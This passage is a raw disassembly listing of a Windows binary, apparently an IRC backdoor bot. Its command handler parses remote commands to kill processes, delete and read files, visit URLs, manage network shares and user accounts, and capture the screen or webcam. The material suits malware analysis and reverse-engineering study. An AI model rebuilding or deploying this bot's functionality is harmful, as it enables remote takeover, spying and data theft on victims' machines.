[ebp+eax*4+var_A0] push offset aKillproc ; "killproc" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_406E6C mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aKp ; "kp" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_406F14 loc_406E6C: ; CODE XREF: sub_4021E5+4C64j push 0 push 0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push [ebp+var_85C] push 0 push [ebp+arg_4] call sub_41CDFD add esp, 18h cmp eax, 1 jnz short loc_406EB8 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_4432C4 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp short loc_406ED9 ; --------------------------------------------------------------------------- loc_406EB8: ; CODE XREF: sub_4021E5+4CAEj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_4432E4 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_406ED9: ; CODE XREF: sub_4021E5+4CD1j cmp [ebp+var_4], 0 jnz short loc_406EFF push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_406EFF: ; CODE XREF: sub_4021E5+4CF8j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_406F14: ; CODE XREF: sub_4021E5+4C81j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aKill ; "kill" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_406F52 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aKi ; "ki" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_406FF0 loc_406F52: ; CODE XREF: sub_4021E5+4D4Aj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx push eax call sub_41D190 pop ecx cmp eax, 1 jnz short loc_406F94 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_443320 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp short loc_406FB5 ; --------------------------------------------------------------------------- loc_406F94: ; CODE XREF: sub_4021E5+4D8Aj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_443344 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_406FB5: ; CODE XREF: sub_4021E5+4DADj cmp [ebp+var_4], 0 jnz short loc_406FDB push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_406FDB: ; CODE XREF: sub_4021E5+4DD4j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_406FF0: ; CODE XREF: sub_4021E5+4D67j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aDelete ; "delete" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40702E mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aDel ; "del" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_4070C8 loc_40702E: ; CODE XREF: sub_4021E5+4E26j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] nop call near ptr 27A0334h test eax, eax jz short loc_40706D mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset dword_443380 push 200h lea eax, [ebp+var_858] push eax call sub_421B90 add esp, 10h jmp short loc_40708D ; --------------------------------------------------------------------------- loc_40706D: ; CODE XREF: sub_4021E5+4E5Ej push offset dword_44339C call sub_41A5B6 pop ecx push eax loc_407079: ; DATA XREF: .XComp0:0044AC68o ; .XComp0:0044AC7Co ... push 200h lea eax, [ebp+var_858] push eax call sub_421B90 add esp, 0Ch loc_40708D: ; CODE XREF: sub_4021E5+4E86j cmp [ebp+var_4], 0 jnz short loc_4070B3 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_4070B3: ; CODE XREF: sub_4021E5+4EACj lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4070C8: ; CODE XREF: sub_4021E5+4E43j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset dword_4433A8 call sub_422740 pop ecx pop ecx test eax, eax jz short loc_407106 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset dword_4433AC call sub_422740 pop ecx pop ecx test eax, eax jnz loc_407239 loc_407106: ; CODE XREF: sub_4021E5+4EFEj push 14h push 0 lea eax, [ebp+var_1BBC] push eax call sub_421410 add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset dword_4433B0 lea eax, [ebp+var_1BA8] push eax call sub_4219C0 add esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_1BC4], eax lea eax, [ebp+var_B8] push eax push 80h lea eax, [ebp+var_1AA4] push eax call sub_421B90 add esp, 0Ch mov eax, [ebp+var_85C] mov [ebp+var_1A1C], eax mov eax, [ebp+var_4] mov [ebp+var_1A18], eax lea eax, [ebp+var_1AA4] push eax lea eax, [ebp+var_1BA8] push eax push offset unk_4433B4 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 10h push 0 push 1Ah lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_1A20], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_1BC4] push eax push offset sub_41873A push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_1A20] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_1A20] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_407209 loc_4071F4: ; CODE XREF: sub_4021E5+5020j cmp [ebp+var_1A14], 0 jnz short loc_407207 push 32h nop call near ptr 27A0000h jmp short loc_4071F4 ; --------------------------------------------------------------------------- loc_407207: ; CODE XREF: sub_4021E5+5016j jmp short loc_407224 ; --------------------------------------------------------------------------- loc_407209: ; CODE XREF: sub_4021E5+500Dj call near ptr 27A0A66h nop push eax push offset unk_4433D8 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_407224: ; CODE XREF: sub_4021E5:loc_407207j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_407239: ; CODE XREF: sub_4021E5+4F1Bj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aList ; "list" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_407273 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aLi ; "li" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4072B4 loc_407273: ; CODE XREF: sub_4021E5+506Fj push 0 push [ebp+var_98] push [ebp+arg_4] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_415120 add esp, 10h mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset dword_443420 call sub_417472 pop ecx pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4072B4: ; CODE XREF: sub_4021E5+508Cj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aVisit ; "visit" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4072F2 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aV ; "v" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_407438 loc_4072F2: ; CODE XREF: sub_4021E5+50EAj push 7Fh mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] lea eax, [ebp+var_1D54] push eax call sub_421470 add esp, 0Ch mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_98], 0 jz short loc_40733E push 7Fh mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] lea eax, [ebp+var_1CD4] push eax call sub_421470 add esp, 0Ch loc_40733E: ; CODE XREF: sub_4021E5+5139j push 7Fh push [ebp+var_98] lea eax, [ebp+var_1C54] push eax call sub_421470 add esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_1D58], eax mov eax, [ebp+var_4] mov [ebp+var_1BD0], eax mov eax, [ebp+var_85C] mov [ebp+var_1BCC], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset dword_443444 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch push 0 push 1Ch lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_1BD4], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_1D58] push eax push offset sub_41E8B6 push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_1BD4] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_1BD4] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_407408 loc_4073F3: ; CODE XREF: sub_4021E5+521Fj cmp [ebp+var_1BC8], 0 jnz short loc_407406 push 32h nop call near ptr 27A0000h jmp short loc_4073F3 ; --------------------------------------------------------------------------- loc_407406: ; CODE XREF: sub_4021E5+5215j jmp short loc_407423 ; --------------------------------------------------------------------------- loc_407408: ; CODE XREF: sub_4021E5+520Cj nop call near ptr 27A0A66h push eax push offset unk_44345C lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_407423: ; CODE XREF: sub_4021E5:loc_407406j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_407438: ; CODE XREF: sub_4021E5+5107j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aMirccmd ; "mirccmd" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_407476 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aMirc ; "mirc" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_40751F loc_407476: ; CODE XREF: sub_4021E5+526Ej cmp [ebp+var_2D4], 0 jz loc_407517 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_1D5C], eax cmp [ebp+var_1D5C], 0 jz short loc_407517 push [ebp+var_1D5C] call sub_41A6C1 pop ecx test eax, eax jnz short loc_4074D1 push offset unk_4434AC lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_4074E4 ; --------------------------------------------------------------------------- loc_4074D1: ; CODE XREF: sub_4021E5+52D5j push offset dword_4434CC lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_4074E4: ; CODE XREF: sub_4021E5+52EAj cmp [ebp+var_4], 0 jnz short loc_40750A push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_40750A: ; CODE XREF: sub_4021E5+5303j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx loc_407517: ; CODE XREF: sub_4021E5+5298j ; sub_4021E5+52C5j mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40751F: ; CODE XREF: sub_4021E5+528Bj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset dword_4434E8 call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40755D mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset dword_4434EC call sub_422740 pop ecx pop ecx test eax, eax jnz loc_407623 loc_40755D: ; CODE XREF: sub_4021E5+5355j cmp [ebp+var_2D4], 0 jz loc_40761B mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_1D60], eax cmp [ebp+var_1D60], 0 jz loc_40761B push offset dword_4434F0 push [ebp+var_1D60] call sub_422590 pop ecx pop ecx push [ebp+var_1D60] call sub_41D24C pop ecx test eax, eax jnz short loc_4075F4 push offset unk_4434F4 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx cmp [ebp+var_4], 0 jnz short loc_4075F2 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_4075F2: ; CODE XREF: sub_4021E5+53EBj jmp short loc_40760E ; --------------------------------------------------------------------------- loc_4075F4: ; CODE XREF: sub_4021E5+53D2j push [ebp+var_1D60] push offset dword_443520 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_40760E: ; CODE XREF: sub_4021E5:loc_4075F2j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx loc_40761B: ; CODE XREF: sub_4021E5+537Fj ; sub_4021E5+53ACj mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_407623: ; CODE XREF: sub_4021E5+5372j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aReadfile ; "readfile" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_407661 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aRf ; "rf" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_407754 loc_407661: ; CODE XREF: sub_4021E5+5459j push offset aR_0 ; "r" mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_4213F0 pop ecx pop ecx mov [ebp+var_1D64], eax cmp [ebp+var_1D64], 0 jz short loc_4076F8 loc_407689: ; CODE XREF: sub_4021E5+54E2j push [ebp+var_1D64] push 200h lea eax, [ebp+var_858] push eax call sub_4223D0 add esp, 0Ch test eax, eax jz short loc_4076C9 push 1 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h jmp short loc_407689 ; --------------------------------------------------------------------------- loc_4076C9: ; CODE XREF: sub_4021E5+54C0j push [ebp+var_1D64] call sub_41EC50 pop ecx mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_44354C lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp short loc_40773F ; --------------------------------------------------------------------------- loc_4076F8: ; CODE XREF: sub_4021E5+54A2j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_443570 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch cmp [ebp+var_4], 0 jnz short loc_40773F push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_40773F: ; CODE XREF: sub_4021E5+5511j ; sub_4021E5+5538j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_407754: ; CODE XREF: sub_4021E5+5476j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aIdent ; "ident" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_4078E9 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aOn ; "on" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_407848 push 2 call sub_40D6D9 pop ecx test eax, eax jle short loc_4077BA push offset dword_4435A0 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx jmp loc_407846 ; --------------------------------------------------------------------------- loc_4077BA: ; CODE XREF: sub_4021E5+55BBj push offset dword_4435C0 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx push 0 push 2 lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_5D8], eax lea eax, [ebp+var_868] push eax push 0 push [ebp+var_5D8] push offset sub_415BB9 push 0 push 0 call near ptr 27A0169h nop mov ecx, [ebp+var_5D8] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_5D8] imul eax, 234h cmp dword_45462C[eax], 0 jnz short loc_407846 nop call near ptr 27A0A66h push eax push offset dword_4435EC lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_407846: ; CODE XREF: sub_4021E5+55D0j ; sub_4021E5+5644j jmp short loc_4078AE ; --------------------------------------------------------------------------- loc_407848: ; CODE XREF: sub_4021E5+55ABj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aOff ; "off" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4078AE push 0 push 2 call sub_40D653 pop ecx pop ecx mov [ebp+var_5D8], eax cmp [ebp+var_5D8], 0 jle short loc_40789B push [ebp+var_5D8] push offset dword_443624 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp short loc_4078AE ; --------------------------------------------------------------------------- loc_40789B: ; CODE XREF: sub_4021E5+5698j push offset dword_44365C lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_4078AE: ; CODE XREF: sub_4021E5:loc_407846j ; sub_4021E5+567Ej ... cmp [ebp+var_4], 0 jnz short loc_4078D4 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_4078D4: ; CODE XREF: sub_4021E5+56CDj lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4078E9: ; CODE XREF: sub_4021E5+558Aj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aNet ; "net" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_407E46 cmp dword_4E17D0, 0 jz short loc_407920 cmp dword_4E17F8, 0 jnz loc_407DF8 loc_407920: ; CODE XREF: sub_4021E5+572Cj cmp [ebp+var_2D4], 0 jz loc_407DF6 and [ebp+var_1D68], 0 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_98], 0 jz short loc_407964 mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_1D68], eax loc_407964: ; CODE XREF: sub_4021E5+575Dj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aStart ; "start" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4079FF mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_98], 0 jz short loc_4079B7 push [ebp+var_1D68] push 3 call sub_41AE5B pop ecx pop ecx push eax push offset aS_2 ; "%s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp short loc_4079FA ; --------------------------------------------------------------------------- loc_4079B7: ; CODE XREF: sub_4021E5+57AAj push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_41B2D1 add esp, 0Ch test eax, eax jz short loc_4079E7 push offset unk_44368C lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_4079FA ; --------------------------------------------------------------------------- loc_4079E7: ; CODE XREF: sub_4021E5+57EBj push offset unk_4436B0 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_4079FA: ; CODE XREF: sub_4021E5+57D0j ; sub_4021E5+5800j jmp loc_407DF6 ; --------------------------------------------------------------------------- loc_4079FF: ; CODE XREF: sub_4021E5+579Aj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aStop ; "stop" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_407A45 push [ebp+var_1D68] push 4 call sub_41AE5B pop ecx pop ecx push eax push offset aS_3 ; "%s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp loc_407DF6 ; --------------------------------------------------------------------------- loc_407A45: ; CODE XREF: sub_4021E5+5835j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aPause ; "pause" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_407A8B push [ebp+var_1D68] push 5 call sub_41AE5B pop ecx pop ecx push eax push offset aS_4 ; "%s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp loc_407DF6 ; --------------------------------------------------------------------------- loc_407A8B: ; CODE XREF: sub_4021E5+587Bj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aContinue ; "continue" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_407AD1 push [ebp+var_1D68] push 6 call sub_41AE5B pop ecx pop ecx push eax push offset aS_5 ; "%s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp loc_407DF6 ; --------------------------------------------------------------------------- loc_407AD1: ; CODE XREF: sub_4021E5+58C1j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aDelete_0 ; "delete" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_407B17 push [ebp+var_1D68] push 1 call sub_41AE5B pop ecx pop ecx push eax push offset aS_6 ; "%s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp loc_407DF6 ; --------------------------------------------------------------------------- loc_407B17: ; CODE XREF: sub_4021E5+5907j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aShare ; "share" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_407C08 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_98], 0 jz short loc_407BBE movzx eax, [ebp+var_370] test eax, eax jz short loc_407B83 push 0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push 1 call sub_41B4ED add esp, 0Ch push eax push offset aS_7 ; "%s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp short loc_407BBC ; --------------------------------------------------------------------------- loc_407B83: ; CODE XREF: sub_4021E5+596Cj mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push 0 call sub_41B4ED add esp, 0Ch push eax push offset aS_8 ; "%s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_407BBC: ; CODE XREF: sub_4021E5+599Cj jmp short loc_407C03 ; --------------------------------------------------------------------------- loc_407BBE: ; CODE XREF: sub_4021E5+5961j push 0 push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_41B758 add esp, 10h test eax, eax jz short loc_407BF0 push offset unk_443714 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_407C03 ; --------------------------------------------------------------------------- loc_407BF0: ; CODE XREF: sub_4021E5+59F4j push offset unk_443738 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_407C03: ; CODE XREF: sub_4021E5:loc_407BBCj ; sub_4021E5+5A09j jmp loc_407DF6 ; --------------------------------------------------------------------------- loc_407C08: ; CODE XREF: sub_4021E5+594Dj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aUser ; "user" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_407D6D mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_98], 0 jz loc_407D23 movzx eax, [ebp+var_370] test eax, eax jz short loc_407C8A push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] push 0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push 1 call sub_41B8D8 add esp, 18h push eax push offset aS_9 ; "%s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp loc_407D21 ; --------------------------------------------------------------------------- loc_407C8A: ; CODE XREF: sub_4021E5+5A61j mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_94], 0 jz short loc_407CE4 push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push 0 call sub_41B8D8 add esp, 18h push eax push offset aS_10 ; "%s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp short loc_407D21 ; --------------------------------------------------------------------------- loc_407CE4: ; CODE XREF: sub_4021E5+5AB3j push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] push 0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push 2 call sub_41B8D8 add esp, 18h push eax push offset aS_11 ; "%s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_407D21: ; CODE XREF: sub_4021E5+5AA0j ; sub_4021E5+5AFDj jmp short loc_407D68 ; --------------------------------------------------------------------------- loc_407D23: ; CODE XREF: sub_4021E5+5A52j push 0 push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_41BF3D add esp, 10h test eax, eax jz short loc_407D55 push offset unk_44376C lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_407D68 ; --------------------------------------------------------------------------- loc_407D55: ; CODE XREF: sub_4021E5+5B59j push offset unk_44378C lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_407D68: ; CODE XREF: sub_4021E5:loc_407D21j ; sub_4021E5+5B6Ej jmp loc_407DF6 ; --------------------------------------------------------------------------- loc_407D6D: ; CODE XREF: sub_4021E5+5A3Ej mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset aSend ; "send" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_407DE3 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_98], 0 jz short loc_407DCE push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] push [ebp+var_1D68] call sub_41C3F4 add esp, 10h push eax push offset aS_12 ; "%s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp short loc_407DE1 ; --------------------------------------------------------------------------- loc_407DCE: ; CODE XREF: sub_4021E5+5BB3j push offset unk_4437B8 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_407DE1: ; CODE XREF: sub_4021E5+5BE7j jmp short loc_407DF6 ; --------------------------------------------------------------------------- loc_407DE3: ; CODE XREF: sub_4021E5+5BA3j push offset unk_4437DC lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_407DF6: ; CODE XREF: sub_4021E5+5742j ; sub_4021E5:loc_4079FAj ... jmp short loc_407E0B ; --------------------------------------------------------------------------- loc_407DF8: ; CODE XREF: sub_4021E5+5735j push offset unk_4437F8 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_407E0B: ; CODE XREF: sub_4021E5:loc_407DF6j cmp [ebp+var_4], 0 jnz short loc_407E31 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_407E31: ; CODE XREF: sub_4021E5+5C2Aj lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_407E46: ; CODE XREF: sub_4021E5+571Fj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aCapture ; "capture" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_407E84 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aCap ; "cap" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_408261 loc_407E84: ; CODE XREF: sub_4021E5+5C7Cj push offset aScreen ; "screen" mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_407F14 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_98], 0 jz short loc_407F01 mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] call sub_4177EB pop ecx cmp eax, 1 jnz short loc_407EEC mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push offset unk_443844 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp short loc_407EFF ; --------------------------------------------------------------------------- loc_407EEC: ; CODE XREF: sub_4021E5+5CE2j push offset unk_443870 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_407EFF: ; CODE XREF: sub_4021E5+5D05j jmp short loc_407F14 ; --------------------------------------------------------------------------- loc_407F01: ; CODE XREF: sub_4021E5+5CCAj push offset unk_4438A0 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_407F14: ; CODE XREF: sub_4021E5+5CBAj ; sub_4021E5:loc_407EFFj push offset aDrivers ; "drivers" mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_422740 pop ecx pop ecx test eax, eax jnz loc_407FDC and [ebp+var_5D8], 0 jmp short loc_407F4B ; --------------------------------------------------------------------------- loc_407F3E: ; CODE XREF: sub_4021E5:loc_407FC4j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_407F4B: ; CODE XREF: sub_4021E5+5D57j cmp [ebp+var_5D8], 0Ah jge short loc_407FC9 push 1FFh lea eax, [ebp+var_1F68] push eax push 0FFh lea eax, [ebp+var_2468] push eax push [ebp+var_5D8] call dword_4E1730 test eax, eax jz short loc_407FC4 lea eax, [ebp+var_1F68] push eax lea eax, [ebp+var_2468] push eax push [ebp+var_5D8] push offset unk_4438E4 lea eax, [ebp+var_2368] push eax call sub_4219C0 add esp, 14h push 0 push [ebp+var_85C] lea eax, [ebp+var_2368] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_407FC4: ; CODE XREF: sub_4021E5+5D95j jmp loc_407F3E ; --------------------------------------------------------------------------- loc_407FC9: ; CODE XREF: sub_4021E5+5D6Dj push offset unk_44390C lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_407FDC: ; CODE XREF: sub_4021E5+5D4Aj push offset aFrame ; "frame" mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_422740 pop ecx pop ecx test eax, eax jnz loc_4080ED mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_98], 0 jz loc_4080DA mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_94], 0 jz loc_4080DA mov 